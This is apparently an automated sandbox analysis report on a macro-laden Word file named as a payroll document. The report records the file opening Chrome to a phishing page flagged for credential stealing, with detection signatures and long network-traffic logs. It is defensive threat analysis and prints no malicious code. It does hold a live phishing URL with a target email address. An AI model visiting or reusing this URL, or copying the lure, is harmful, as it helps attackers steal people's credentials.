Edit tour

Windows Analysis Report
L-tron_Payroll.docx

Overview

General Information

Sample name:	L-tron_Payroll.docx
Analysis ID:	1528393
MD5:	59de93969964cbab5c5512407aedb1cf
SHA1:	db04a116c84c7fff38702e0e649dbf14170f7cfa
SHA256:	6b0a057a39cfa120771c1876f543f68620f7052e4df15af4627ba7b2572e9edd
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected landing page (webpage, office document or email)

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

HTML page contains hidden javascript code

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 4052 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

chrome.exe (PID: 7368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2020,i,6938504624187398722,11422843999623257211,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Sigma Signatures

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 4052, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com

SlashNext: Label: Credential Stealing type: Phishing & Social Engineering

Source: https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com

HTTP Parser: Base64 decoded: {"version":3,"sources":["/cfsetup_build/src/orchestrator/turnstile/templates/turnstile.scss","%3Cinput%20css%20qtFLbZ%3E"],"names":[],"mappings":"AAmCA,gBACI,GACI,uBClCN,CACF,CDqCA,kBACI,GACI,mBCnCN,CACF,CDsCA,iBACI,MAEI,cCrCN,CDwCE,IACI,mBCtCN,CACF,CDyCA...

Source: https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com

HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49767 version: TLS 1.0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.64:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50069 version: TLS 1.2

Source: winword.exe

Memory has grown: Private usage: 1MB later: 77MB

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49767 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.140
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.64

Source: global traffic	HTTP traffic detected: GET /ilPHd/ HTTP/1.1Host: z2k.3kf2d.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://z2k.3kf2d.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://z2k.3kf2d.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://z2k.3kf2d.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://z2k.3kf2d.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://z2k.3kf2d.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cf06f880e728cca&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+FtNUvbVAH84w3R&MD=FtAmOZP9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cf06f880e728cca&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: z2k.3kf2d.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://z2k.3kf2d.com/ilPHd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhTMzFxTzdOVHV4OHVqUis3eHZwcmc9PSIsInZhbHVlIjoiSUxRV0V2R2l0Q1Q2cTR0SzlNcTJOTVV5aEFGRUhWdDMydExUaG5NV2RNeTdqYWQ5ZWlrM0JzSG9QdWYxY2VOQmgzSWd2REpZSm0xVkhTMG54a2svVFc4YlVGa2lvM0t6QzZmN0dLc2pxM2xlQ3BtaTg4d1BodEFIV25aakpyengiLCJtYWMiOiI4ZGNlNjM3NTM0YWIxOWFkNmYwOWM4NmMxM2M2ODMyMjQ2NTk2MjkyYzYyODZhN2YwODc1ZTc1MGUyYmU3Nzc2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpqbUw5SDg2cXAwZllhUVVHeG1ta1E9PSIsInZhbHVlIjoiTk9KQi9TWHhxb0hDb0RUVGdwWERuOTE2TDlMalMxSmZ5WmhLbEJzZUJPR2JmNzRUWGxKcVhJMGlrbng0cHlvcjlZSmxFK1pQVVJ0ZXdCQlh6UGdGT3Vyb2NRL1pCeWl1ZDUvbGZRZ2w4TStxQnNQSCtXNDl2aHNIZDBCQm5YODYiLCJtYWMiOiIwYjEyMDlhZWExMTg3MTVlOWUxOWVhMzYwMTg1MzUwNTY1NzU0Y2E5NmVlNjAyZTFhZmRlMmI5NTAwYjNhOTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8cf06f880e728cca/1728330790898/ca8c68f2a7b93f93df34c1c353433d1ad186e591e099c3fbe8a9c588c1891448/B4-hUFc8y4U4H53 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/43059607:1728329420:dJcmetAgVMGocae_3f1dALRtljbtG0HRRs5hSvYZXJY/8cf06f880e728cca/3da04d461641d1a HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
